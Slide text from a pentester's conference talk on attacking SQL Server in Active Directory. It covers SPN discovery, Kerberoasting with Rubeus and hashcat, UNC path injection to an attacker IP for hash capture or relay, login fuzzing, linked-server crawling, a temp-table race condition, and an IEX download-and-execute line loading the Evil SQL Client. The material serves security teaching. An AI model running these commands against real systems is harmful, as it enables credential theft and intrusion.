SQL Server
Hacking Tips for
ACTIVE DIRECTORY
ENVIRONMENTS
Name: Scott Sutherland
Job: Network & Application Pentester @ NetSPI
Twitter: @_nullbind
Slides: http://slideshare.net/nullbind
http://slideshare.net/netspi
Blogs: https://blog.netspi.com/author/scott-sutherland/
Code: https://github.com/NetSPI/PowerUpSQL
https://github.com/NetSPI/ESC
https://github.com/NetSPI/SQLC2
https://sqlwiki.netspi.com/
SQLC2
Community involvement:
• SQL Injection Wiki
• SQL Server Metasploit modules
• PowerShell Empire functions
• DBATools functions
• DAFT: C# port of PowerUpSQL
• Bloodhound SQL Server edge help language
PRESENTATION OVERVIEW
5 Reasons to target SQL Server
4 Common Entry Points
3 Common Privilege Escalation Techniques
2 Examples of Temporary Table Abuse
1 Evil SQL Client (ESC) console application (msbuild in line task execution)
Why Target SQL Server?
WHY TARGET SQL SERVER?
Why Target SQL Server?
SQL Servers exist in almost every enterprise environment we see.1
SQL Servers can be blindly discovered quickly in Active Directory environments.2
SQL Servers have trust relationships with the OS and Active Directory.3
Exploitable default configurations are incredibly common.4
Exploitable weak configurations are incredibly common.5
Quick Introduction
PowerUpSQL
INTRODUCTION TO POWERUPSQL
Introduction to PowerUpSQL
It also supports a lot of post-exploitation functionality that covers the kill
chain…like Active Directory recon.
Data
Targeting
Command
Execution
Privilege
Escalation
AD Recon
Lateral
Movement
Discovery
Initial
Access
Defense
Evasion
PowerShell tool that can be used to inventory, audit, and exploit weak
SQL Server configurations on scale in AD environments.
INTRODUCTION TO POWERUPSQL
Introduction to PowerUpSQL
WWW.POWERUPSQL.COM
• Setup instructions
• Cheat sheets
• Code templates
• Function documentation
• Links to:
- Blogs
- Presentations
- Videos
How do find SQL Servers
using Active Directory?
How do I find SQL Servers in Active Directory environments?
SQL Server Discovery
Domain joined SQL Servers register their service accounts in the Service
Principal Name (SPN) property of the user/computer object in Active
Directory.
Any domain user can query Active Directory for domain computer/user
SPNS.
The SPNs are added to support Kerberos authentication.
SQL Servers can be identified by executing LDAP queries for SPNs
containing “MSSQLSvc”.
Active Directory PowerShell Cmdlet
SQL Server Discovery
Get-ADObject -LDAPFilter “(servicePrincipalName=MSSQL*)“
PowerUpSQL Functions
SQL Server Discovery
Get-DomainSpn -DomainController 10.0.0.1 -Username DomainUser -Password Password123!
Get-DomainSpn -SpnService MSSQL
Get-SQLInstanceDomain –Verbose
Just SQL SPNs
Common Entry Points
COMMON ENTRY POINTS
Common Entry Points
Domain users can log into SQL Server Express instances by default. Yep.1
Domain users can log into SQL Server instances due to excessive privileges.2
Default passwords are configured for logins configured by applications.3
Weak service account passwords that can be guessed online/offline.4
EXCESSIVE PRIVILEGES
Common Entry Points
Explicit login privileges
provided to domain users by
sysadmins or default
application installations.
SQL Server Express
inherently includes domain
users in the public role
when installed on a domain
system.
EXCESSIVE PRIVILEGES
Common Entry Points
Explicit login privileges
provided to domain users by
sysadmins or default
application installations.
SQL Server Express
inherently includes domain
users in the public role
when installed on a domain
system.
EXCESSIVE PRIVILEGES
Common Entry Points
Explicit login privileges
provided to domain users by
sysadmins or default
application installations.
SQL Server Express
inherently includes domain
users in the public role
when installed on a domain
system.
PowerUpSQL Functions: Finding Excessive Privileges
Common Entry Points
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded –Verbose
Get-SQLInstanceDomain | Get-SQLServerInfoThreaded –Verbose
Common Entry Points
Default Application Logins
Common Entry Points
DEFAULT APPLICATION LOGINS
Common Entry Points
Lots of commercial applications commonly use SQL Server.
Many of those applications create default logins in SQL Server.
Those logins often have default passwords that don’t get changed.
Many of those applications create application specific SQL Server instance
names.
Those instance names can be quickly identified via LDAP queries for SPNs,
then we can use Get-SQLServerLoginDefaultPw to identify defaults.
DEFAULT APPLICATION LOGINS: Example
Common Entry Points
These instance names
are too general for
default login targeting
Software specific instance
name can be used for
targeting default logins
Common Entry Points
Weak Passwords
SQL Server Service Accounts
Common Entry Points
WEAK SERVICE ACCOUNT PASSWORDS
Common Entry Points
Online password guessing – mind the lockout policy!
Kerberoasting
Big thanks to: Tim Medin, Benjamin Delpy, Will Schroeder
Kerberos ticket-granting service (TGS) service ticket
Encrypted with NTLM(RC4) password hash of requesting domain user
WHAT IS KERBEROASTING?
Common Entry Points
Kerberoasting is the process of requesting a TGS service ticket for a domain service account (domain account
with a SPN), recovering the ticket from memory, and trying to determine the password of the service account offline by
attempting to decrypt the ticket.
Encrypted with NTLM (RC4) password hash
of the service account
Ticket Information
The requesting domain user
can decrypt as intended.
This is what is brute
forced offline. We’ll know
we guessed the right
password for the domain
service account when the
ticket information decrypts
correctly.
KERBEROASTING ATTACK SUMMARY
Common Entry Points
https://github.com/GhostPack/Rubeus#kerberoast | https://hashcat.net/hashcat/
Rubeus.exe kerberoast /outfile:C:Tempdomainhashes.txt
Rubeus.exe kerberoast /user:SQLSVC /outfile:C:Tempsqlhash.txt
COLLECTION
hashcat -m 13100 -a 0 sqlhash.txt passwordfile.txt
CRACKING
Invoke-SQLOSCmd -Instance server1instance1 -username domainsqlsvc -password “Secret!” -Command "Whoami“
EXECUTE COMMANDS ON SQL SERVER THAT USE SQLSVC
Common Privilege
Escalation Methods
COMMON PRIVILEGE ESCALATION METHODS
Common Privilege Escalation Methods
UNC Path Injection + Hash Capture / SMB Relay
User Enumeration + Weak Passwords
Linked Server + Excessive Privileges
1
2
3
UNC PATH INJECTION
+ Hash Cracking/Relay
Common Privilege Escalation Methods
UNC PATH INJECTION + PASSWORD HASH COLLECTION
Common Privilege Escalation Methods
Capture or Relay the NetNTLM password hash for the SQL Server service
which often has sysadmin privileges (Inveigh, Responder, etc)
By default, the PUBLIC role can leverage 2 stored procs for UNC injection:
xp_dirtree and xp_fileexist
UNC path injection can be used to force the SQL Server service account to
authenticate to the attacker’s system:
xp_dirtree “attackeripfile’
Sysadmins can execute operating system commands via xp_cmdshell
https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet
UNC PATH INJECTION + PASSWORD HASH COLLECTION
Common Privilege Escalation Methods
Below is the high level process for executing the attack on scale in AD:
1. Locate SQL Servers on the domain via LDAP queries for SQL SPNs
2. Attempt to log into each SQL instance as the current domain user
3. Perform UNC path injection and capture SQL Server service account
password hashes
4. Crack password hashes offline
5. Login into SQL Server and execution OS commands
The Get-SQLServiceAccountPwHashes function can come in handy
Thanks Thomas Elling!
UNC PATH INJECTION + PASSWORD HASH COLLECTION
Common Privilege Escalation Methods
UNC PATH INJECTION + SMB RELAY TIPS
Common Privilege Escalation Methods
Target shared SQL Server service accounts
• Service accounts are often configured as sysadmin
• Service accounts are often configured as a local administrator
• Compromise one account = Access to all the SQL Servers that use it
Make sure your target SQL Server doesn’t check for SMB signing
LOCATING SHARED SERVICE ACCOUNTS (PowerUpSQL)
Common Privilege Escalation Methods
$SQLServers = Get-SQLInstanceDomain -Verbose
Get List of Domain Joined SQL Servers
List Instances with using Shared Account
$SQLServers | Where-Object domainaccount -Like “SQLSVC”
$SQLServers | Group-Object domainaccount | Sort-Object count -Descending
Group Results to Reveal Shared Accounts
USER ENUMERATION
+ WEAK PASSWORDS
Common Privilege Escalation Methods
ENUMERATING SQL LOGINS
Common Privilege Escalation Methods
It’s common for developers and vendors to create SQL Logins with the
username with weak passwords, but sometimes you don’t know the login
name.
As a least privilege authenticated user you can blindly enumerate all SQL
Server logins by fuzzing numbers provided to the SUSER_NAME() function.
Those logins can be then be used to guess passwords.
Example:
SELECT SUSER_NAME(1)
SELECT SUSER_NAME(2)
SELECT SUSER_NAME(3)
…
ENUMERATING DOMAIN USERS AND GROUPS
Common Privilege Escalation Methods
Through a similar process you can blindly enumeration domain users using
the DEFAULT_DOMAIN(), SUSER_SID, and SUSER_SNAME functions.
Get Domain
SELECT DEFAULT_DOMAIN() as mydomain;
Get the RID for a Known Group
SELECT SUSER_SID('DEMODomain Admins’)
Fuzz RID to Enumeration Users and Groups
SELECT
SUSER_SNAME(0x0105000000000005150000009CC30DD479441EDEB31027D0F
4010000)
ENUMERATING LOGINS AND PASSWORD GUESSING
Common Privilege Escalation Methods
Invoke-SQLAuditWeakLoginPw
1. Blindly enumerates all SQL
logins with least privilege SQL
login
2. Attempt user name as
password
3. Custom user/password lists
can be provided
Get-SQLFuzzDomainAccount
1. Blindly enumerate domain users
and group associated with the
SQL Server domain with least
privilege SQL login
LDAP QUERIES
via SQL SERVER
Common Privilege Escalation Methods
LDAP QUERIES VIA SQL SERVER
Common Privilege Escalation Methods
The OLE DB ADSI provide in SQL Server can be used to craft LDAP
queries. A nice blog was written by Thomas Elling on the subject.
Specifically, queries can be created using ad-hoc queries (OPENROWSET)
or linked servers (OPENQUERY) without requiring a custom CLR or
extended stored procedure.
PowerUpSQL functions and TSQL templates can be found at:
https://www.powerupsql.com
More thanks to Thomas Elling!
LDAP QUERIES VIA SQL SERVER
Common Privilege Escalation Methods
Ad-Hoc Query
example using:
OPENROWSET
DOMAIN USERS
LDAP QUERIES VIA SQL SERVER
Common Privilege Escalation Methods
Linked Server
example using:
OPENQUERY
DOMAIN USERS
Linked Servers +
Excessive Privileges
Common Privilege Escalation Methods
LINKED SERVERS + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
Linked servers are basically persistent database connections for SQL
Servers. Usually preconfigured with alternative credentials.
Why should I care?
• Move between SQL Servers (lateral movement)
• Impersonate link users without providing credentials (privilege escalation)
• Crawl SQL Server link networks (bypass network security controls)
• We seem misconfigured linked servers in about 50% environments
LINKED SERVERS + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
Query linked server:
SELECT * FROM OpenQuery([SQLSERVER2],’SELECT @@Version’)
Identify linked servers:
SELECT * FROM MASTER..SYSSERVERS
PowerUpSQL and the Metasploit modules can also be handy for crawling
and command execution through linked servers.
LINKED SERVERS + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
Example of attack path from the
internet
InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
LINKED SERVERS + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
Example of attack path from the
internet
InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
LINKED SERVERS + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
Example of attack path from the
internet
InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
D
B
Link
w
ith
Least Privileges
DB1
LVA
LINKED SERVERS + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
Example of attack path from the
internet
InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
D
B
Link
w
ith
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and
local commands on
database servers via
nested linked services
2
LINKED SERVERS + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
Link crawls can result in access to:
• 100s of systems
• 1000s of databases
• Active Directory domains
• Isolated & protected networks
• Partner networks via VPN
https://blog.netspi.com/how-to-hack-database-links-in-sql-server/
Lots of great work done by Antti Rantasaari:
SQL SERVER LINK + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
CASE STUDY
Abusing Temporary Tables
ABUSING TEMPORARY TABLES
Case Study: Abusing Temporary Tables
Introduction to common approaches
Case Study: Vulnerable Agent Job
1
2
WHAT ARE TEMPORARY TABLES IN SQL SERVER?
Case Study: Abusing Temporary Tables
Devs often use them for temporary data storage and data processing
Create race conditions that can compromise data confidentially and integrity
Similar to regular tables, but intended for temporary use
Occasionally result in code execution opportunities
Stored in the tempdb default database
WHAT ARE TEMPORARY TABLES IN SQL SERVER?
There are primarily three variations of temporary tables in SQL Server:
Temporary Table Type Scope Scope Description
Table Variable Batch Only accessible within the query batch it’s executed in.
Case Study: Abusing Temporary Tables
WHAT ARE TEMPORARY TABLES IN SQL SERVER?
There are primarily three variations of temporary tables in SQL Server:
Temporary Table Type Scope Scope Description
Table Variable Batch Only accessible within the query batch it’s executed in.
Local Temporary Table Current Session
Accessible to all query batches within the same active
connection until the connection is terminated or the table is
explicitly dropped.
Case Study: Abusing Temporary Tables
WHAT ARE TEMPORARY TABLES IN SQL SERVER?
There are primarily three variations of temporary tables in SQL Server:
Temporary Table Type Scope Scope Description
Table Variable Batch Only accessible within the query batch it’s executed in.
Local Temporary Table Current Session
Accessible to all query batches within the same active
connection until the connection is terminated or the table is
explicitly dropped.
Global Temporary Table
All Sessions
Accessible (read/write) to all active connections until
there are no references to the table or the table is explicitly
dropped.
Case Study: Abusing Temporary Tables
HOW TEMPORARY TABLES WORK?
Below are some common queries for creating and querying temp tables:
Temporary Table Type Create Query
Table Variable
DECLARE @table_variable TABLE
(Spy_id INT NOT NULL, SpyName
text NOT NULL, RealName text
NULL);
SELECT * FROM
@table_variable
Case Study: Abusing Temporary Tables
HOW TEMPORARY TABLES WORK?
Below are some common queries for creating and querying temp tables:
Temporary Table Type Create Query
Table Variable
DECLARE @table_variable TABLE
(Spy_id INT NOT NULL, SpyName
text NOT NULL, RealName text
NULL);
SELECT * FROM
@table_variable
Local Temporary Table
CREATE TABLE #LocalTempTbl
(Spy_id INT NOT NULL, SpyName
text NOT NULL, RealName text
NULL);
SELECT * FROM #LocalTempTbl
Case Study: Abusing Temporary Tables
HOW TEMPORARY TABLES WORK?
Below are some common queries for creating and querying temp tables:
Temporary Table Type Create Query
Table Variable
DECLARE @table_variable TABLE
(Spy_id INT NOT NULL, SpyName
text NOT NULL, RealName text
NULL);
SELECT * FROM
@table_variable
Local Temporary Table
CREATE TABLE #LocalTempTbl
(Spy_id INT NOT NULL, SpyName
text NOT NULL, RealName text
NULL);
SELECT * FROM #LocalTempTbl
Global Temporary Table
CREATE TABLE ##GlobalTempTbl
(Spy_id INT NOT NULL, SpyName
text NOT NULL, RealName text
NULL);
SELECT * FROM
##GlobalTempTbl
Case Study: Abusing Temporary Tables
HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES?
Unprivileged User: Monitor tempdb
Privileged User: Review Source Code
• Agent Jobs
• Stored Procedures
• DDL Triggers
• DML and Logon Triggers
• Global temp table names and
columns
• Global temp table content
Case Study: Abusing Temporary Tables
HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES?
Query tempdb
• View Names
• Global temp tables
don’t always exist for
long
• Limited to point in time
Case Study: Abusing Temporary Tables
HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES?
Query tempdb in Loop
• View Names
• Looping offers better
visibility over time
• Throttle to avoid over
utilizing the CPU ☺
Case Study: Abusing Temporary Tables
HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES?
Query tempdb in Loop
• View Content
• Race condition results
in a data confidentiality
issue
Case Study: Abusing Temporary Tables
HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES?
Query tempdb in Loop
• Update Content
• Race condition results
in a data integrity issue
• This can lead to code
execution under specific
conditions
Case Study: Abusing Temporary Tables
CASE STUDY
VULNERABLE AGENT JOB
CASE STUDY: VULNERABLE AGENT JOB - SUMMARY
Case Study: Vulnerable Agent Job
SQL Agent Job exists that executes TSQL job hourly1
TSQL job dynamically creates PowerShell command2
TSQL job creates global temp table and stores PowerShell command in it3
TSQL job selects PowerShell command from global temp table4
TSQL job executes PowerShell via xp_cmdshell5
CASE STUDY: VULNERABLE AGENT JOB ATTCK - VIEW NAMES
Query tempdb in Loop
• View Names
• We can see temp tables
being generated with
random names
Case Study: Vulnerable Agent Job
CASE STUDY: VULNERABLE AGENT JOB ATTCK - VIEW NAMES
Query tempdb in Loop
• View Names
• We run the query again
and see different temp
tables names with the
same columns
Case Study: Vulnerable Agent Job
CASE STUDY: VULNERABLE AGENT JOB ATTCK - VIEW CONTENT
Query tempdb in Loop
• View Content
• We see a PowerShell
command being stored in
the temp table that creates
the file:
C:Program FilesMicrosoft SQL
ServerMSSQL12.SQLSERVER201
4MSSQLLogintendedoutput.txt
Case Study: Vulnerable Agent Job
CASE STUDY: VULNERABLE AGENT JOB ATTCK - UPDATE CONTENT
Query tempdb in Loop
• Update Content
• We modify the PowerShell
command being stored in
the temp table to write to:
C:Program FilesMicrosoft SQL
ServerMSSQL12.SQLSERVER201
4MSSQLLogfinishline.txt
Case Study: Vulnerable Agent Job
CASE STUDY: VULNERABLE AGENT JOB ATTCK - VERIFY EXECUTION
Verify file write
• Via explorer
• You could also use
xp_filexist ‘C:Program
FilesMicrosoft SQL
ServerMSSQL12.SQLSE
RVER2014MSSQLLogfi
nishline.txt‘
Case Study: Vulnerable Agent Job
PREVENTION
Don’t run code blocks that have been stored in a global temporary table.
BLOG: https://blog.netspi.com/exploiting-sql-server-global-temporary-table-race-conditions
Case Study: Vulnerable Agent Job
Don’t store sensitive data or code blocks in a global temporary table.
If you need to access data across multiple sessions consider using
memory-optimized tables.
Based on my lab testing, they can provide similar performance benefits
without having to expose data to unprivileged users. For more
information check out this article from Microsoft..
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
What is the Evil SQL Client?
SQL Server attack console client written in C#
Evil SQL Client: Overview
Supports discovery, access, escalation, and data exfil commands
Built for pentest and red team operations
Ships with files to execute via msbuild inline tasks
Ships with files to execute via PowerShell
Where can I get it?
https://github.com/netspi/esc
Evil SQL Client: Download
Execution Options: esc.exe
Download release or compile from source
Evil SQL Client: Execution Options
Execute esc.exe
Execution Options: msbuild.exe
esc.csproj file contains
the esc.exe source code
in an inline task
*Technique by Casey Smith
Evil SQL Client: Execution Options
Download esc.csproj
Run via msbuild
*Fun fact: No file path needed if
only one .csproj file exists in
directory.
Execution Options: msbuild.exe
esc.xml contains a byte array of
esc.exe that is loaded via
reflection techniques shared by
@BoHops (GhostBuild),
@subTee, and @mattifestation
Evil SQL Client: Execution Options
Download esc.xml
Run via msbuild
Execution Options: PowerShell – Loading esc.exe Assembly
Load assembly from file or byte array:
[System.Reflection.Assembly]::LoadFile("c:tempesc.exe”)
or
[System.Reflection.Assembly]::Load($filebytes)
Evil SQL Client: Execution Options
Shortcut Download PowerShell code to automatically load Evil SQL Client from a string
containing a hardcoded byte array.
IEX(New-Object
System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/ESC/master/e
sc-example.ps1")
Execution Options: PowerShell – Executing esc.exe Functions
Call desired functions. Below are some examples:
[evilsqlclient.Program+EvilCommands]::GetSQLServersBroadCast()
[evilsqlclient.Program+EvilCommands]::GetSQLServersSpn()
[evilsqlclient.Program+EvilCommands]::MasterDiscoveredList
[evilsqlclient.Program+EvilCommands]::InstanceAllG = "enabled"
[evilsqlclient.Program+EvilCommands]::CheckAccess()
[evilsqlclient.Program+EvilCommands]::MasterAccessList
[evilsqlclient.Program+EvilCommands]::CheckDefaultAppPw()
[evilsqlclient.Program+EvilCommands]::CheckLoginAsPw()
[evilsqlclient.Program+EvilCommands]::MasterAccessList
Evil SQL Client: Execution Options
PowerShell Execution Note
The interactive console currently doesn’t work through PowerShell, but all other functions do.
Hopefully, I’ll fix the bug, but it’s still very usable. ☺
ESC Commands
Evil SQL Client: Commands
Discovery Access Gather Escalate Exfil
Discover file
Discover domainspn
Discover broadcast
Show discovered
Export discovered
Check access
Check defaultpw
Show access
Export access
Single instance query
Multi instance query
List serverinfo
List databases
List tables
List links
List logins
List rolemembers
List privs
Check loginaspw
Check uncinject
Run oscmd
Set File
Set FilePath
Set icmp
Set icmpip
Set http
Set httpurl
Note: The “show settings” command will show the current configuration at any given time.
* The data encryption functions are done, but currently they don’t encrypt exfiltrated data at this time.
*All query results are
exfiled via all
enabled methods.
Query Options: Single Instance
Configure Single Instance Target
Set target MSSQLSRV04SQLSERVER2014
Set username backdoor_account
Set password backdoor_account
Show settings
Evil SQL Client: Query Options
Execute query
Select @@version
Go
Query Options: Multiple Instances
Run discover functions & set
Discover domainspn
Discover broadcast
Discover file c:tempinstancelist.csv
Show settings
Evil SQL Client: Query Options
Query Options: Multiple Instances
Run discover functions & set
Discover domainspn
Discover broadcast
Discover file c:tempinstancelist.csv
Show settings
Evil SQL Client: Query Options
Enable multi-instance targeting
Set targetall enabled
Show settings
Query Options: Multiple Instances
Run discover functions & set
Discover domainspn
Discover broadcast
Discover file c:tempinstancelist.csv
Show settings
Evil SQL Client: Query Options
Enable multi-instance targeting
Set targetall enabled
Show settings
Check initial access
Check access
Query Options: Multiple Instances
Run discover functions & set
Discover domainspn
Discover broadcast
Discover file c:tempinstancelist.csv
Show settings
Evil SQL Client: Query Options
Enable multi-instance targeting
Set targetall enabled
Show settings
Check initial access
Check access
Show access
Query Options: Multiple Instances
Execute query
Select @@version
Go
Evil SQL Client: Query Options
Query Options: Multiple Instances
Execute query
Select @@version
Go
Evil SQL Client: Query Options
Run Commands
List databases
General Notes
If you mess up a command, just run:
clear
Evil SQL Client: General Notes
CTRL + C kills the application
ESC Demo
Evil SQL Client: Demo
TAKE
AWAYS
TAKE AWAYS
Take Aways
SQL Server instances are easy to find in Active Directory environments.
The default trust relationships between SQL Server on domain systems
and AD can lead to privilege escalation scenarios.
Attacks can originate from the internet or internal vectors
Be proactive about finding common issues and enabled detections.
The same techniques used in PowerUpSQL can be adapted to any medium.

More Related Content

PDF
Kali ile Linux'e Giriş | IntelRAD
PDF
Spring Boot の Web アプリケーションを Docker に載せて AWS ECS で動かしている話
PDF
[오픈소스컨설팅]Zabbix Installation and Configuration Guide
PDF
[OpenInfra Days Korea 2018] (Track 1) TACO (SKT All Container OpenStack): Clo...
PDF
【ことはじめ】 はじめてのコンテナ活用をクラウドで
ODP
Inter-process communication of Android
PDF
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin Atlatılması
PDF
ハイブリッド時代のID基盤構成の基礎
Kali ile Linux'e Giriş | IntelRAD
Spring Boot の Web アプリケーションを Docker に載せて AWS ECS で動かしている話
[오픈소스컨설팅]Zabbix Installation and Configuration Guide
[OpenInfra Days Korea 2018] (Track 1) TACO (SKT All Container OpenStack): Clo...
【ことはじめ】 はじめてのコンテナ活用をクラウドで
Inter-process communication of Android
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin Atlatılması
ハイブリッド時代のID基盤構成の基礎

What's hot (20)

PDF
Ceph issue 해결 사례
PPTX
Azure サポート エンジニア直伝 ~ PowerShell 実践活用術 ~
PDF
Alexei Vladishev - Zabbix - Monitoring Solution for Everyone
PDF
IT エンジニアのための 流し読み Windows 10 - Windows のネットワーク最適化機能
PDF
How Netflix Tunes EC2 Instances for Performance
PDF
[OpenStack Days Korea 2016] Track1 - 카카오는 오픈스택 기반으로 어떻게 5000VM을 운영하고 있을까?
PDF
Amazon EKS上の開発体験を最大化するプレビュー環境の作り方
PDF
Kablosuz Ağlara Yapılan Saldırılar
PDF
Form認証で学ぶSpring Security入門
PPTX
Vagrant
PDF
Zabbix, garder un oeil toujours ouvert
PDF
Kali linux
PPTX
15分でお届けする Elastic Stack on Azure 設計・構築ノウハウ
DOCX
WEB ve MOBİL SIZMA TESTLERİ
PDF
Linux Sistem Yönetimi
PPTX
サポート エンジニアが Azure Networking をじっくりたっぷり語りつくす会
PDF
少しでもセキュリティを向上させたい! Mauticの運用方法
PDF
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
PDF
오픈스택 기반 클라우드 서비스 구축 방안 및 사례
PPTX
ONOS intent introduction
Ceph issue 해결 사례
Azure サポート エンジニア直伝 ~ PowerShell 実践活用術 ~
Alexei Vladishev - Zabbix - Monitoring Solution for Everyone
IT エンジニアのための 流し読み Windows 10 - Windows のネットワーク最適化機能
How Netflix Tunes EC2 Instances for Performance
[OpenStack Days Korea 2016] Track1 - 카카오는 오픈스택 기반으로 어떻게 5000VM을 운영하고 있을까?
Amazon EKS上の開発体験を最大化するプレビュー環境の作り方
Kablosuz Ağlara Yapılan Saldırılar
Form認証で学ぶSpring Security入門
Vagrant
Zabbix, garder un oeil toujours ouvert
Kali linux
15分でお届けする Elastic Stack on Azure 設計・構築ノウハウ
WEB ve MOBİL SIZMA TESTLERİ
Linux Sistem Yönetimi
サポート エンジニアが Azure Networking をじっくりたっぷり語りつくす会
少しでもセキュリティを向上させたい! Mauticの運用方法
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
오픈스택 기반 클라우드 서비스 구축 방안 및 사례
ONOS intent introduction

Similar to TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments (20)

PDF
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
PPTX
SharePoint Security in an Insecure World - AUSPC 2012
PPTX
2019 Blackhat Booth Presentation - PowerUpSQL
PPTX
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
PDF
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PPTX
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
PDF
SQL Injection
PPT
SQL Server Security - Attack
PPTX
SPS Belgium 2012 - End to End Security for SharePoint Farms - Michael Noel
PDF
Brief introduction into SQL injection attack scenarios
PPTX
DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
PPTX
SEASPC 2011 - SharePoint Security in an Insecure World: Understanding the Fiv...
PPTX
C# and ASP.NET Code and Data-Access Security
PDF
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
PPTX
AUSPC 2013 - Understanding the Five Layers of SharePoint Security
PPTX
Security for SharePoint in an Insecure World - SharePoint Connections Amsterd...
PPTX
SPTechCon SFO 2012 - Understanding the Five Layers of SharePoint Security
PDF
SQLSaturday#290_Kiev_WindowsAzureDatabaseForBeginners
PPT
Dealing with SQL Security from ADO.NET
PPTX
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
SharePoint Security in an Insecure World - AUSPC 2012
2019 Blackhat Booth Presentation - PowerUpSQL
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell
SQL Injection
SQL Server Security - Attack
SPS Belgium 2012 - End to End Security for SharePoint Farms - Michael Noel
Brief introduction into SQL injection attack scenarios
DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
SEASPC 2011 - SharePoint Security in an Insecure World: Understanding the Fiv...
C# and ASP.NET Code and Data-Access Security
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
AUSPC 2013 - Understanding the Five Layers of SharePoint Security
Security for SharePoint in an Insecure World - SharePoint Connections Amsterd...
SPTechCon SFO 2012 - Understanding the Five Layers of SharePoint Security
SQLSaturday#290_Kiev_WindowsAzureDatabaseForBeginners
Dealing with SQL Security from ADO.NET

More from Scott Sutherland (18)

PPTX
Hunting SMB Shares with Data, Graphs, Charts, and LLMs (SO-CON 2025)
PPTX
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
PPTX
How to Build and Validate Ransomware Attack Detections (Secure360)
PPTX
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
PPTX
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
PPTX
Beyond xp_cmdshell: Owning the Empire through SQL Server
PPTX
2017 Secure360 - Hacking SQL Server on Scale with PowerShell
PPTX
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
PPTX
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
PDF
Attack All the Layers: What's Working during Pentests (OWASP NYC)
PPTX
Secure360 - Attack All the Layers! Again!
PPTX
Secure360 - Extracting Password from Windows
PPTX
WTF is Penetration Testing v.2
PDF
Attack all the layers secure 360
PDF
Declaration of malWARe
PDF
Thick Application Penetration Testing: Crash Course
PDF
Introduction to Windows Dictionary Attacks
PDF
WTF is Penetration Testing
Hunting SMB Shares with Data, Graphs, Charts, and LLMs (SO-CON 2025)
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
How to Build and Validate Ransomware Attack Detections (Secure360)
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
Beyond xp_cmdshell: Owning the Empire through SQL Server
2017 Secure360 - Hacking SQL Server on Scale with PowerShell
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
Attack All the Layers: What's Working during Pentests (OWASP NYC)
Secure360 - Attack All the Layers! Again!
Secure360 - Extracting Password from Windows
WTF is Penetration Testing v.2
Attack all the layers secure 360
Declaration of malWARe
Thick Application Penetration Testing: Crash Course
